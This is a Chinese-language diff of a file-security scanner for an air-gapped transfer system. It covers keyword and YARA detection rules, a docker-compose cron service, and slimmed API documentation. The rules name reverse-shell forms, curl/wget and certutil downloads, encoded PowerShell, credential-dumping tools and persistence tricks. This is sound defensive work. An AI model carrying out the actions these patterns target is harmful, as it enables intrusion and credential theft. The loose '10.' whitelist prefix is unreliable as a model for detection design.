# 旧写法里的 `curl|wget -O/-o 任意值` 会命中任何写成两段的安装文档,去掉。
|
||||
- name: RemoteDownloadUnix
|
||||
match: regex
|
||||
pattern: "(?:\\b(?:curl|wget|certutil)\\b[^\\n]{0,80}(?:https?://|\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}))"
|
||||
ignore_case: true
|
||||
weight: 30
|
||||
severity: medium
|
||||
|
||||
# ---- 反弹 Shell ----
|
||||
- name: ReverseShellNetcat
|
||||
match: regex
|
||||
# 只认「执行原语」形态:nc/ncat/netcat 带 -e/-c(把 shell 交给连接),
|
||||
# 或 /dev/tcp、bash -i >& 这类内核级反连。裸 nc / nc -l / nc -z 是运维常用,
|
||||
# 出现在速查文档和二进制字符串表里必然误报,不计分。
|
||||
pattern: "(\\b(?:nc|ncat|netcat)\\s+(?:[^\\n]{0,60}\\s)?-[ec]\\w*\\s*(?:/bin/|/usr/|cmd\\.exe\\b|\\S*sh\\b)|/dev/tcp/|bash\\s+-i\\s+>&|sh\\s+-i\\s+>&)"
|
||||
ignore_case: true
|
||||
weight: 40
|
||||
severity: critical
|
||||
|
||||
- name: ReverseShellPowershell
|
||||
match: regex
|
||||
pattern: "(powershell\\s+-enc|powershell\\s+-w\\s+hidden\\s+-enc|powershell\\s+-ExecutionPolicy\\s+Bypass\\s+-enc)"
|
||||
ignore_case: true
|
||||
weight: 35
|
||||
severity: critical
|
||||
|
||||
# ---- 凭据窃取工具 ----
|
||||
- name: CredentialStealer
|
||||
match: regex
|
||||
# 全部加 \b 词边界, wce 要求后跟 .exe / 空格 / / (二进制随机字节里的 WCE 不会触发)
|
||||
pattern: "(\\bmimikatz\\b|\\bsekurlsa\\b|\\bwce(\\.exe\\b|\\s|\\/)|\\bgsecdump\\b|\\bfgdump\\b|\\blsadump\\b|\\bdcsync\\b|\\bdcsyncer\\b|\\brubeus\\b)"
|
||||
ignore_case: true
|
||||
weight: 45
|
||||
severity: critical
|
||||
|
||||
# ---- 凭据导出命令 ----
|
||||
- name: CredentialExport
|
||||
match: regex
|
||||
pattern: "(reg\\s+save\\s+HKLM\\\\SYSTEM|reg\\s+save\\s+HKLM\\\\SAM|reg\\s+export\\s+SAM|reg\\s+export\\s+SYSTEM|hxdump|secretsdump)"
|
||||
ignore_case: true
|
||||
weight: 45
|
||||
severity: critical
|
||||
|
||||
# ---- 远程会话劫持 ----
|
||||
- name: RemoteSessionHijack
|
||||
match: regex
|
||||
pattern: "(\\btscon\\b|\\brdpclip\\b|\\brdp_shadow\\b|\\bshadow\\s+[0-9]+\\b|CreateRemoteThread)"
|
||||
ignore_case: true
|
||||
weight: 35
|
||||
severity: high
|
||||
|
||||
# ---- 命令执行混淆 ----
|
||||
- name: CommandExecutionObfuscated
|
||||
match: regex
|
||||
pattern: "(cmd\\s+/c|cmd\\s+/d|certutil\\s+-decode|certutil\\s+-urlcache|\\bmshta\\b|\\bregsvr32\\s+\\/s)"
|
||||
ignore_case: true
|
||||
weight: 25
|
||||
severity: medium
|
||||
|
||||
# ---- WMI/LDAP 攻击 ----
|
||||
- name: WMILdapAttack
|
||||
match: regex
|
||||
pattern: "(wmic\\s+path|wmic\\s+process\\s+call\\s+create|ldapsearch\\s+-x|ldapwhoami)"
|
||||
ignore_case: true
|
||||
weight: 30
|
||||
severity: high
|
||||
|
||||
# ---------- 白名单(规则命中后二次放宽) ----------
|
||||
# 优先级:白名单 > 关键词规则 > YARA 规则 > 评分累加
|
||||
# 命中白名单的规则会从 findings 中过滤,不再进入裁决
|
||||
|
||||
keyword_whitelist:
|
||||
# ---- 内网合法运维地址/域名(白名单放行 curl/wget 下载)----
|
||||
- rule: RemoteDownloadUnix # curl/wget 下载特征
|
||||
allowed_keywords:
|
||||
- "192.168."
|
||||
- "10."
|
||||
- "172.16."
|
||||
- "172.17."
|
||||
- "172.18."
|
||||
- "172.19."
|
||||
- "172.2"
|
||||
- "172.3"
|
||||
- ".senmesh.com"
|
||||
- "repo.internal"
|
||||
- "mirror.internal"
|
||||
- rule: RemoteDownloadExec # 下载即执行:内网源站安装脚本按白名单放行
|
||||
allowed_keywords:
|
||||
- "192.168."
|
||||
- "10."
|
||||
- "172.16."
|
||||
- "172.17."
|
||||
- "172.18."
|
||||
- "172.19."
|
||||
- "172.2"
|
||||
- "172.3"
|
||||
- ".senmesh.com"
|
||||
- "repo.internal"
|
||||
- "mirror.internal"
|
||||
- rule: PayloadDropToDisk # 下载落地可执行文件:内网源站安装包放行
|
||||
allowed_keywords:
|
||||
- "192.168."
|
||||
- "10."
|
||||
- "172.16."
|
||||
- "172.17."
|
||||
- "172.18."
|
||||
- "172.19."
|
||||
- "172.2"
|
||||
- "172.3"
|
||||
- ".senmesh.com"
|
||||
- "repo.internal"
|
||||
- "mirror.internal"
|
||||
- rule: RemoteDownloadPowerShell # Invoke-WebRequest/BitsAdmin
|
||||
allowed_keywords:
|
||||
- "192.168."
|
||||
- "10."
|
||||
- ".senmesh.com"
|
||||
|
||||
yara_hash_whitelist:
|
||||
# YARA 命中后,文件 MD5 在此列表 → 跳过告警
|
||||
# 典型场景:已知安全的开源工具被 YARA 误匹配
|
||||
- md5: "00000000000000000000000000000000"
|
||||
note: "示例:占位,生产按需补充"
|
||||
|
||||
# ---------- 审计 ----------
|
||||
audit:
|
||||
# 记录扫描结果明细到审计日志
|
||||
|
||||
@@ -123,6 +123,7 @@ services:
|
||||
- ./data/clamav:/var/lib/clamav # 共享签名库目录(api 可写入上传的 .cvd 文件,clamd 自动热加载)
|
||||
- /var/run/docker.sock:/var/run/docker.sock:ro # 诊断套件只读访问 Docker(可选;没有也能降级)
|
||||
- ./data/diagnostics:/app/data/diagnostics # 诊断套件持久化(规则历史 + 日志快照)
|
||||
- ./tests/samples:/app/tests/samples:ro # 测试靶场样本库(CSV 对齐,可读扫描)
|
||||
group_add:
|
||||
- "999" # docker.sock 的 GID,让 api 容器能读
|
||||
healthcheck:
|
||||
@@ -132,6 +133,38 @@ services:
|
||||
start_period: 15s
|
||||
retries: 3
|
||||
|
||||
# ---------- Cron (定时任务: DB 归档 + VACUUM) ----------
|
||||
# 纯 Python 实现, 零额外依赖, 和 api 共享 meshsafe:latest 镜像
|
||||
# 任务:
|
||||
# 每天 03:00 archive_old_tasks.py --apply (清 90 天 detail / 365 天归档 / 幂等 TTL)
|
||||
# 每周一 03:10 VACUUM ANALYZE (维护表统计信息)
|
||||
cron:
|
||||
image: meshsafe:latest
|
||||
container_name: meshsafe-cron
|
||||
restart: unless-stopped
|
||||
networks: [meshsafe_net]
|
||||
depends_on:
|
||||
postgres:
|
||||
condition: service_healthy
|
||||
environment:
|
||||
- TZ=Asia/Shanghai
|
||||
- MESHSAFE_ENV=prod
|
||||
- MESHSAFE_DB_URL=postgresql+psycopg2://meshsafe:${MESHSAFE_DB_PASSWORD:-meshsafe}@postgres:5432/meshsafe
|
||||
- MESHSAFE_MASTER_KEY=${MESHSAFE_MASTER_KEY:?MASTER_KEY_REQUIRED}
|
||||
# cron 不做控制台认证,但 Settings.admin_password 是必填字段,缺它 get_settings()
|
||||
# 就抛 ValidationError,归档与 VACUUM 全崩。给占位值,不把真实口令复制进 cron
|
||||
# 容器环境(docker inspect 可见)。
|
||||
- MESHSAFE_ADMIN_PASSWORD=cron-unused-placeholder
|
||||
volumes:
|
||||
- ./data/logs:/var/log/meshsafe # 归档日志共享目录
|
||||
- ./scripts:/app/scripts:ro # archive_old_tasks.py + cron_entrypoint.py
|
||||
entrypoint: ["python3", "/app/scripts/cron_entrypoint.py"]
|
||||
# 镜像层的 HEALTHCHECK 探测 localhost:8443(API 服务端口),cron 容器不监听该端口,
|
||||
# 因此状态恒为 unhealthy —— 真正调度器挂掉时这个信号完全失效。关掉它,
|
||||
# 存活与否由 restart: unless-stopped + 日志判断。
|
||||
healthcheck:
|
||||
disable: true
|
||||
|
||||
# ---------- Nginx(反向代理,内网 HTTP 明文)----------
|
||||
# 外部端口 44380 → 内部 80 → api:8443
|
||||
# 无 TLS,外层防护靠光闸
|
||||
|
||||
2724
docs/TEST_CASES.md
Normal file
2724
docs/TEST_CASES.md
Normal file
File diff suppressed because it is too large
Load Diff
163
docs/接口文档.md
163
docs/接口文档.md
@@ -2,7 +2,7 @@
|
||||
|
||||
| 项目 | 内容 |
|
||||
|---|---|
|
||||
| 文档版本 | v1.1(2026-10-27 对齐当前代码实现) |
|
||||
| 文档版本 | v1.2(2026-10-29 响应字段精简,只暴露调用方必需字段) |
|
||||
| 接口版本 | `/api/v1` |
|
||||
| 适用系统 | 光闸内外网文件摆渡系统 |
|
||||
| 保密级别 | **内部交付文档**,请勿公开传播 |
|
||||
@@ -286,51 +286,25 @@ signature = HMAC-SHA256(response_key, payload) → 小写十六进制
|
||||
```json
|
||||
{
|
||||
"task_id": "3f8a9c2e1b7d4e6f8a0b2c4d6e8f0a1b",
|
||||
"verdict": "malicious",
|
||||
"score": 85.0,
|
||||
"action": "reject",
|
||||
"reason": "检测到 VBA 宏 + DDEAUTO 自动执行",
|
||||
"status": "completed",
|
||||
"file": {
|
||||
"filename": "起诉状.docx",
|
||||
"sha256": "a1b2c3...",
|
||||
"md5": "d4e5f6...",
|
||||
"size": 284915,
|
||||
"real_type": "Microsoft Word 2007+",
|
||||
"real_ext": ".docx",
|
||||
"declared_ext": ".docx",
|
||||
"filename": "起诉状.docx"
|
||||
"real_type": "Microsoft Word 2007+"
|
||||
},
|
||||
"findings": [
|
||||
{
|
||||
"engine": "document",
|
||||
"layer": "L2",
|
||||
"severity": "critical",
|
||||
"rule": "DDEAutoExecution",
|
||||
"detail": "检测到 DDE/DDEAUTO 字段:DDEAUTO c:\\windows\\system32\\cmd.exe",
|
||||
"extracted_path": "word/settings.xml",
|
||||
"weight": 65.0,
|
||||
"meta": {}
|
||||
}
|
||||
],
|
||||
"extracted": [
|
||||
{ "path": "word/vbaProject.bin", "filename": "vbaProject.bin", "size": 10240, "depth": 1, "sha256": "" }
|
||||
],
|
||||
"triggered": [
|
||||
{ "type": "rule_override", "rule": "DDEAutoExecution", "action": "reject", "engine": "document" }
|
||||
],
|
||||
"meta": {
|
||||
"scan_duration_ms": 1840,
|
||||
"engines": ["structure", "clamav", "document", "keywords", "yara", "binary"],
|
||||
"engine_errors": [],
|
||||
"clamav": { "version": "ClamAV 1.5.4", "signature_date": "2026-10-27" },
|
||||
"policy_version": "2026.10.1",
|
||||
"policy_sha256": "…",
|
||||
"scanned_objects": 3,
|
||||
"scanned_at": "2026-10-27T08:30:00+00:00"
|
||||
"scanned_at": "2026-10-27T08:30:00Z"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
> **设计原则**:接口只暴露调用方必须知道的字段,内部权重、严重度、引擎层、策略链等实现细节不对外返回。调用方拿到 `action` 即可直接决策,无需二次分析。
|
||||
|
||||
**响应 200(异步受理)**
|
||||
|
||||
```json
|
||||
@@ -350,11 +324,11 @@ if result["status"] != "completed":
|
||||
|
||||
action = result["action"]
|
||||
if action == "reject":
|
||||
reject_transfer(reason=result["reason"]) # 拒绝并向用户展示 reason
|
||||
reject_transfer(reason=result["reason"]) # 拦截,向用户展示 reason
|
||||
elif action == "manual_review":
|
||||
route_to_human_review(result["task_id"]) # 转人工
|
||||
route_to_human_review(result["task_id"]) # 暂不放行,转人工
|
||||
else:
|
||||
allow_transfer() # pass / pass_with_flag
|
||||
allow_transfer() # pass,正常放行
|
||||
```
|
||||
|
||||
---
|
||||
@@ -373,9 +347,7 @@ else:
|
||||
{
|
||||
"task_id": "…",
|
||||
"status": "running",
|
||||
"verdict": "pending",
|
||||
"action": "pending",
|
||||
"score": 0.0,
|
||||
"reason": ""
|
||||
}
|
||||
```
|
||||
@@ -506,93 +478,78 @@ else:
|
||||
|
||||
## 5. 数据模型
|
||||
|
||||
### 5.1 结论字段
|
||||
### 5.1 响应字段
|
||||
|
||||
| 字段 | 类型 | 说明 |
|
||||
|---|---|---|
|
||||
| `task_id` | string | 任务标识,全局唯一 |
|
||||
| `verdict` | enum | 总体判定,见 §5.2 |
|
||||
| `score` | float | 风险评分,0~100 |
|
||||
| `action` | enum | 处置建议,见 §5.3 |
|
||||
| `task_id` | string | 任务标识,全局唯一,用于后续查询与审计追溯 |
|
||||
| `action` | enum | **调用方决策依据**,见 §5.2 |
|
||||
| `reason` | string | 人可读的判定理由,可直接展示给用户 |
|
||||
| `status` | enum | `pending` / `running` / `completed` / `failed` |
|
||||
| `file` | object | 文件追溯信息,见 §5.3 |
|
||||
| `meta` | object | 基础元信息,见 §5.4 |
|
||||
|
||||
### 5.2 verdict 取值
|
||||
### 5.2 action 取值(调用方唯一决策依据)
|
||||
|
||||
| 值 | 含义 | 调用方动作 |
|
||||
|---|---|---|
|
||||
| `pass` | 未发现风险或仅极轻微信号 | 正常放行 |
|
||||
| `manual_review` | 可疑,需人工判断 | **暂不放行**,转入人工复核流程 |
|
||||
| `reject` | 判定不可放行 | 拒绝传输,向用户展示 `reason` |
|
||||
| `pending` | 异步尚未完成 | 等待轮询 |
|
||||
|
||||
> **`action` 是调用方唯一需要判断的字段**,不需要关心内部权重、严重度、触发了几条规则。
|
||||
|
||||
### 5.3 file 结构
|
||||
|
||||
| 字段 | 说明 |
|
||||
|---|---|
|
||||
| `filename` | 原始文件名 |
|
||||
| `sha256` | 文件哈希,用于去重与追溯举证 |
|
||||
| `md5` | 文件哈希,兼容场景使用 |
|
||||
| `size` | 字节数 |
|
||||
| `real_type` | 内容判定的真实类型描述(如 `JPEG image data`) |
|
||||
|
||||
> 不对外暴露 `real_ext` / `declared_ext`(内部判定使用)。
|
||||
|
||||
### 5.4 meta 结构
|
||||
|
||||
| 字段 | 说明 |
|
||||
|---|---|
|
||||
| `scan_duration_ms` | 本次检测耗时(毫秒) |
|
||||
| `scanned_at` | 检测时间(UTC) |
|
||||
|
||||
> 不对外暴露 `engines` / `engine_errors` / `clamav` 版本 / `policy_version` / `policy_sha256` / `scanned_objects` 等内部实现细节。这些信息保留在服务端控制台与审计日志中,运维人员按需查询。
|
||||
|
||||
---
|
||||
|
||||
### 5.5 内部判定字段(不对外暴露)
|
||||
|
||||
以下字段存在于服务端内部(控制台、审计日志、DB 记录),不通过 API 返回。调用方无需关心。
|
||||
|
||||
**verdict(内部总体判定)**
|
||||
|
||||
| 值 | 含义 |
|
||||
|---|---|
|
||||
| `clean` | 未发现风险 |
|
||||
| `suspicious` | 存在可疑信号,需要关注或人工判断 |
|
||||
| `suspicious` | 存在可疑信号 |
|
||||
| `malicious` | 判定为恶意 |
|
||||
| `error` | 检测过程异常(如引擎不可用),结论不可信 |
|
||||
| `error` | 检测过程异常 |
|
||||
| `pending` | 尚未完成 |
|
||||
|
||||
### 5.3 action 取值
|
||||
**score(内部权重和,0~100)** — 调用方不做二次分析,不对外暴露。
|
||||
|
||||
| 值 | 含义 | 建议调用方动作 |
|
||||
|---|---|---|
|
||||
| `pass` | 未发现问题 | 正常放行 |
|
||||
| `pass_with_flag` | 存在低风险信号 | 放行,但建议记录标记 |
|
||||
| `manual_review` | 需人工判断 | **暂不放行**,转入人工复核流程 |
|
||||
| `reject` | 判定不可放行 | 拒绝传输,向用户展示 `reason` |
|
||||
| `pending` | 尚未裁决 | 等待异步结果 |
|
||||
**findings(内部命中信号列表)** — 每条含 engine / layer / severity / rule / detail / weight / meta 等字段,供安全团队审计与问题追溯。不对外暴露。
|
||||
|
||||
> **`action` 与 `verdict` 解耦使用。** 业务逻辑请依据 `action`,`verdict` 供人查看与统计。
|
||||
**triggered(内部策略链触发记录)** — rule_override / zero_tolerance 等,不对外暴露。
|
||||
|
||||
### 5.4 findings 结构
|
||||
|
||||
| 字段 | 类型 | 说明 |
|
||||
|---|---|---|
|
||||
| `engine` | string | 引擎名:`structure` / `extractor` / `clamav` / `document` / `yara` / `binary` |
|
||||
| `layer` | string | 检测层:`L0` / `L1` / `L2` / `L2B` / `L3` |
|
||||
| `severity` | enum | `info` / `low` / `medium` / `high` / `critical` |
|
||||
| `rule` | string | 规则标识 |
|
||||
| `detail` | string | 命中详情 |
|
||||
| `extracted_path` | string | 信号来自哪个内部路径(顶层文件为空) |
|
||||
| `weight` | float | 该信号的风险权重 |
|
||||
| `meta` | object | 引擎附加信息 |
|
||||
|
||||
### 5.5 严重度与权重对照
|
||||
|
||||
| 严重度 | 典型含义 | 权重区间 |
|
||||
|---|---|---|
|
||||
| `critical` | 确凿的恶意行为,自动执行、外联、路径穿越 | 50 ~ 90 |
|
||||
| `high` | 高度可疑,宏调用、危险 API、高熵加壳 | 30 ~ 80 |
|
||||
| `medium` | 可疑但存在合理场景,外部链接、可疑导入 | 15 ~ 45 |
|
||||
| `low` | 轻微信号,仅编码字符串、无签名 | 5 ~ 20 |
|
||||
| `info` | 信息性提示 | 0 |
|
||||
|
||||
### 5.6 file 结构
|
||||
|
||||
| 字段 | 说明 |
|
||||
|---|---|
|
||||
| `sha256` / `md5` | 文件哈希,用于去重与追溯 |
|
||||
| `size` | 字节数 |
|
||||
| `real_type` | 内容判定的真实类型描述 |
|
||||
| `real_ext` | 真实扩展名(由内容推导) |
|
||||
| `declared_ext` | 文件名声明的扩展名 |
|
||||
| `filename` | 原始文件名 |
|
||||
|
||||
### 5.7 meta 结构
|
||||
|
||||
| 字段 | 说明 |
|
||||
|---|---|
|
||||
| `scan_duration_ms` | 检测耗时(毫秒) |
|
||||
| `engines` | 参与的引擎列表 |
|
||||
| `engine_errors` | 不可用的引擎列表,非空说明结论可能不完整 |
|
||||
| `clamav` | ClamAV 版本与签名库编号 |
|
||||
| `policy_version` | 判定所依据的策略版本 |
|
||||
| `policy_sha256` | 策略文件哈希 |
|
||||
| `scanned_objects` | 实际检测的对象数(含递归解包出的子文件) |
|
||||
| `scanned_at` | 检测时间(UTC) |
|
||||
|
||||
> **`meta.clamav` 与 `meta.policy_version` 建议留存**,用于检测结果的有效性举证。
|
||||
**open_risk / extracted(内部辅助分析与解包过程)** — 不对外暴露。
|
||||
|
||||
---
|
||||
|
||||
## 6. 检测规则清单
|
||||
|
||||
以下规则命中时会出现在 `findings` 中。**规则清单公开用于解释结论,不含检测规则的具体实现内容。**
|
||||
以下规则命中时会在服务端审计日志中留下记录,调用方通过 `reason` 字段获得人可读的结论说明。**规则清单公开用于解释结论,不含检测规则的具体实现内容。**
|
||||
|
||||
### 6.1 L0 结构层
|
||||
|
||||
|
||||
@@ -193,7 +193,7 @@ rule_overrides:
|
||||
|---|---|
|
||||
| `pass` | 放行 |
|
||||
| `pass_with_flag` | 放行并标记 |
|
||||
| `manual_review` | 转人工复核(同时把评分提升至 65,确保落入复核区间) |
|
||||
| `manual_review` | 处置地板:该文件最终不低于人工复核(评分不变,低于复核区间时只抬处置) |
|
||||
| `reject` | 拒绝 |
|
||||
| `reject_and_notify` | 拒绝并通知(当前实现等同 `reject`) |
|
||||
|
||||
@@ -201,7 +201,9 @@ rule_overrides:
|
||||
|
||||
1. 命中 `rule_overrides` 的规则会**优先于评分**处理
|
||||
2. 若 `action` 为 `reject` 类 → 立即返回拒绝结论,不再累加评分
|
||||
3. 若 `action` 为 `manual_review` → 评分提升至 65 并继续后续裁决
|
||||
3. 若 `action` 为 `manual_review` → 登记"复核地板",规则自身权重照常累加,评分累加与阈值裁决完成后,处置若低于 `manual_review` 才抬到 `manual_review`(已判 `reject` 的不会被降回来)
|
||||
|
||||
> 旧实现是"评分提升至 65",有两个副作用:注进去的 65 分本身不是证据,再叠加任意 ≥5 分的噪声信号就会越过 `block_score=70` 变成拒绝;同时该规则自身的权重被跳过不再计分,控制台显示的分数与真实证据脱钩。现改为处置地板后,分数只反映权重,"不放行"由地板保证,与 `review_score` 阈值数值解耦——`DangerousExecutableExtension`(光闸口径:EXE/DLL/脚本不自动放行)正是靠这条地板生效,而不是靠 `weight=30/35` 恰好等于 `review_score` 下界。
|
||||
|
||||
**为什么用覆盖而不是纯评分**:像 `PathTraversal`、`DDEAutoExecution` 这类信号,一旦出现就足以判定不可放行,不应依赖其他信号累加来"凑够"阈值。
|
||||
|
||||
|
||||
@@ -117,17 +117,23 @@ rule C7_Linux_ReverseShell_Misc {
|
||||
meta:
|
||||
risk_level = "medium"
|
||||
category = "C7"
|
||||
false_positive_rate = "medium"
|
||||
false_positive_rate = "low"
|
||||
reference = "多种语言反弹 Shell 通用特征"
|
||||
description = "通用反弹 Shell 标记:/dev/tcp 或 /dev/udp 或 reverse shell 工具名"
|
||||
description = "通用反弹 Shell 标记:/dev/udp 或 攻击工具名 + shell 参数"
|
||||
strings:
|
||||
$devudp = /\/dev\/udp\/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\/\d{2,5}/ ascii
|
||||
$bashc = /bash\s+-c\s+['"].*\/dev\/(tcp|udp)/ ascii
|
||||
$dash_e = /\/bin\/bash\s+-e\s+['"]/ ascii
|
||||
$hydra = /Hydra|crackmap|weevely|meterpreter|msfconsole|msfvenom/ ascii nocase
|
||||
// 裸词 Hydra 会命中 "dehydrated"、crack 会命中 "cracklib",必须带参数或成组出现
|
||||
$hydra = /\bhydra\s+(-l|-P|-p|-s|-m|-t)\b/ ascii nocase
|
||||
$tool = /\b(crackmapexec|weevely|meterpreter|msfconsole|msfvenom)\b/ ascii nocase
|
||||
$reverseshell = /reverse[_\s]?shell|shell[_\s]?shock/ ascii nocase
|
||||
$netart = /(nc|ncat)\s+\S+\s+\d{2,5}\s+-[ec]\b|\/dev\/(tcp|udp)\/|socat\s+EXEC:|bash\s+-i\s*>&/ ascii
|
||||
condition:
|
||||
any of ($devudp, $bashc, $dash_e) or any of ($hydra, $reverseshell)
|
||||
any of ($devudp, $bashc, $dash_e)
|
||||
or $hydra
|
||||
or ($tool and $netart)
|
||||
or ($reverseshell and $netart)
|
||||
}
|
||||
|
||||
|
||||
@@ -177,40 +183,43 @@ rule C7_Linux_Persistence_SystemD {
|
||||
meta:
|
||||
risk_level = "high"
|
||||
category = "C7"
|
||||
false_positive_rate = "medium"
|
||||
false_positive_rate = "low"
|
||||
reference = "MITRE ATT&CK T1543.002 Systemd Service"
|
||||
description = "恶意 systemd unit 文件:ExecStart 指向 /tmp/.hidden + multi-user.target + 反弹命令"
|
||||
description = "恶意 systemd unit:ExecStart 指向临时目录隐藏文件 / 管道执行 / 反弹命令"
|
||||
strings:
|
||||
$unit = /\[Unit\]/ ascii
|
||||
$service = /\[Service\]/ ascii
|
||||
$install = /\[Install\]/ ascii
|
||||
$execstart = /ExecStart=/ ascii
|
||||
$multiuser = /multi-user\.target/ ascii
|
||||
$hiddenpath = /\/tmp\/\.?\w+|\/var\/tmp\/\.?\w+/ ascii
|
||||
$bashsh = /\/bin\/(ba)?sh\s+-c/ ascii
|
||||
// 隐藏文件(点开头)落在可写临时目录——正常 unit 只会在 /usr/bin、/opt 等路径
|
||||
$hiddenpath = /\/(tmp|var\/tmp|dev\/shm)\/\.[a-zA-Z0-9_-]{2,}/ ascii
|
||||
$pipe = /(curl|wget)\s+\S+\s*\|\s*(ba)?sh/ ascii
|
||||
$revshell = /((nc|ncat|socat)\s+.*(-e|--exec|EXEC:)\s*\/bin\/(ba)?sh|\/dev\/tcp\/\d{1,3}\.\d{1,3})/ ascii
|
||||
condition:
|
||||
// 完整 unit 片段 + 可疑路径
|
||||
$unit and $service and $execstart and ($hiddenpath or $bashsh)
|
||||
($unit and $service and $execstart and any of ($hiddenpath, $pipe, $revshell))
|
||||
or
|
||||
// Install multi-user.target + ExecStart 反弹
|
||||
$install and $multiuser and any of ($execstart, $bashsh)
|
||||
($install and $multiuser and $execstart and any of ($hiddenpath, $pipe, $revshell))
|
||||
}
|
||||
|
||||
rule C7_Linux_Persistence_LD_PRELOAD {
|
||||
meta:
|
||||
risk_level = "high"
|
||||
category = "C7"
|
||||
false_positive_rate = "medium"
|
||||
false_positive_rate = "low"
|
||||
reference = "MITRE ATT&CK T1574.006 LD_PRELOAD"
|
||||
description = "LD_PRELOAD 劫持:环境变量注入 + .so 文件 + dlopen"
|
||||
description = "LD_PRELOAD 劫持:写 ld.so.preload 或预加载临时目录里的 .so"
|
||||
strings:
|
||||
$ldpreload = /LD_PRELOAD=/ ascii
|
||||
$sofile = /\.so(\.\d+)?:?/ ascii
|
||||
$dlopen = "dlopen" ascii
|
||||
$dlsym = "dlsym" ascii
|
||||
$exportenv = /export\s+LD_PRELOAD/ ascii
|
||||
$ldso = /ld\.so\.preload/ ascii
|
||||
$tmpso = /\/(tmp|var\/tmp|dev\/shm|proc\/\d+\/root)\/[a-zA-Z0-9_.\/-]*\.so(\.[0-9]+)?/ ascii
|
||||
condition:
|
||||
($ldpreload or $exportenv) and ($sofile or $dlopen or $dlsym)
|
||||
// /etc/ld.so.preload 是内核级后门常用落点,单独出现即算证据
|
||||
$ldso
|
||||
or
|
||||
// LD_PRELOAD 指向可写临时目录的 so;README 里 LD_PRELOAD=libasan.so 不算
|
||||
(any of ($ldpreload, $exportenv) and $tmpso)
|
||||
}
|
||||
|
||||
|
||||
@@ -267,41 +276,55 @@ rule C7_Misc_Ruby_Lua_ReverseShell {
|
||||
meta:
|
||||
risk_level = "medium"
|
||||
category = "C7"
|
||||
false_positive_rate = "medium"
|
||||
false_positive_rate = "low"
|
||||
reference = "多语言反弹 Shell"
|
||||
description = "Ruby/Lua 反弹 Shell:TCPSocket + exec/system"
|
||||
description = "Ruby/Lua 反弹 Shell:Socket 对象 + 紧邻的 shell 执行调用"
|
||||
strings:
|
||||
$ruby = "TCPSocket" ascii
|
||||
$ruby2 = "Socket.tcp" ascii
|
||||
$lua = "loadstring" ascii
|
||||
$lua2 = "luasocket" ascii
|
||||
$exec = /(exec|system|IO\.popen)\s+.*\/bin\/(ba)?sh/ ascii
|
||||
$exec = /(\bexec|\bsystem|IO\.popen|\bpopen|os\.execute|os\.runtime)\s*\(?\s*['"]((\/bin\/)?(ba)?sh|nc\s+-e|\/dev\/tcp)[^'"]{0,48}/ ascii
|
||||
condition:
|
||||
any of ($ruby, $lua, $lua2) and ($exec or any of ($ruby, $lua, $lua2))
|
||||
// 只要出现 TCPSocket/loadstring 就命中 = 任何内嵌 Lua 的程序(Redis、nginx-lua、
|
||||
// Wireshark 插件)必中。语言标记与 shell 执行必须挨在一起(256B 内)。
|
||||
$exec and (
|
||||
for any i in (1..#exec): (
|
||||
any of ($ruby, $ruby2, $lua, $lua2) in (@exec[i] - 256..@exec[i] + 256)
|
||||
)
|
||||
)
|
||||
}
|
||||
|
||||
|
||||
// =============================================================================
|
||||
// C7-5 网络投毒 / MITM 工具(内网横向移动)
|
||||
// 工具名必须整词匹配,且与攻击参数成组出现
|
||||
// =============================================================================
|
||||
|
||||
rule C7_Network_Tools_Malicious {
|
||||
meta:
|
||||
risk_level = "medium"
|
||||
category = "C7"
|
||||
false_positive_rate = "medium"
|
||||
false_positive_rate = "low"
|
||||
reference = "内网攻击工具"
|
||||
description = "内网攻击工具:ettercap/responder/nmap 扫描 + SMB/DNS 投毒"
|
||||
description = "内网攻击工具:ettercap/responder/nmap + 投毒参数成组出现"
|
||||
strings:
|
||||
$ettercap = "ettercap" ascii nocase
|
||||
$responder = /responder(\.py)?/ ascii nocase
|
||||
$nmap = "nmap" ascii nocase
|
||||
$smb = /--smb/ ascii
|
||||
$ms17 = "ms17-010" ascii nocase
|
||||
$smbghost = "SMBGhost" ascii nocase
|
||||
$dnsspoof = /dns[-_]spoof|dns[-_]mitm/ ascii nocase
|
||||
$arppoison = /arp[-_]poison|arp[-_]spoof/ ascii nocase
|
||||
$tool1 = /\bettercap\b/ ascii nocase
|
||||
$tool2 = /\bresponder(\.py)?\b/ ascii nocase
|
||||
$tool3 = /\bnmap\b/ ascii nocase
|
||||
// 攻击参数 / 漏洞编号(这些才是意图证据)
|
||||
$art1 = /--smb/ ascii
|
||||
$art2 = /\bms17-010\b/ ascii nocase
|
||||
$art3 = /\bSMBGhost\b/ ascii nocase
|
||||
$art4 = /\bdns[-_]spoof\b|\bdns[-_]mitm\b/ ascii nocase
|
||||
$art5 = /\barp[-_]poison\b|\barp[-_]spoof\b/ ascii nocase
|
||||
$art6 = /--Mitm|-T\s+text|\bec_sleep\b|\bntlm_relay\b|\bRunFinger\.py\b/ ascii nocase
|
||||
condition:
|
||||
any of ($ettercap, $responder, $dnsspoof, $arppoison)
|
||||
// 投毒手法名本身就是明确证据
|
||||
any of ($art4, $art5)
|
||||
or
|
||||
$nmap and ($smb or $ms17 or $smbghost)
|
||||
// 工具名 + 攻击参数
|
||||
($tool1 and any of ($art1, $art2, $art3, $art6))
|
||||
or ($tool2 and any of ($art1, $art2, $art3, $art6))
|
||||
or ($tool3 and any of ($art1, $art2, $art3))
|
||||
}
|
||||
|
||||
445
rules/pe.yar
445
rules/pe.yar
@@ -2,26 +2,34 @@
|
||||
// MeshSafe L2B YARA 规则集 —— Windows PE 恶意程序专项(C1 + C8)
|
||||
// =============================================================================
|
||||
//
|
||||
// 设计原则:
|
||||
// - 所有规则使用 2-3 特征组合命中(API 组合 + C2 URL + Mutex 持久化等)
|
||||
// - binary.py 的 PE 结构分析负责:节熵 + 签名 + 可疑导入(单 API)
|
||||
// - YARA 负责:多 API 组合 + 字符串组合 + 壳 + 勒索专项
|
||||
// - 命中后作为 finding 交给 PolicyEngine 权重累加,不直接零容忍
|
||||
// 设计原则(v0.2.4 起,为消除干净软件误报而重写):
|
||||
// 1. 全文搜 API 名 = 必然误报。系统 DLL 会「导出」这些 API(kernel32 里就有
|
||||
// VirtualAllocEx/WriteProcessMemory/CreateRemoteThread 的明文字符串),
|
||||
// 安全 SDK、安装器、调试组件同理。因此 C1 系列一律要求:
|
||||
// - 文件是 PE(uint16(0) == 0x5A4D),且
|
||||
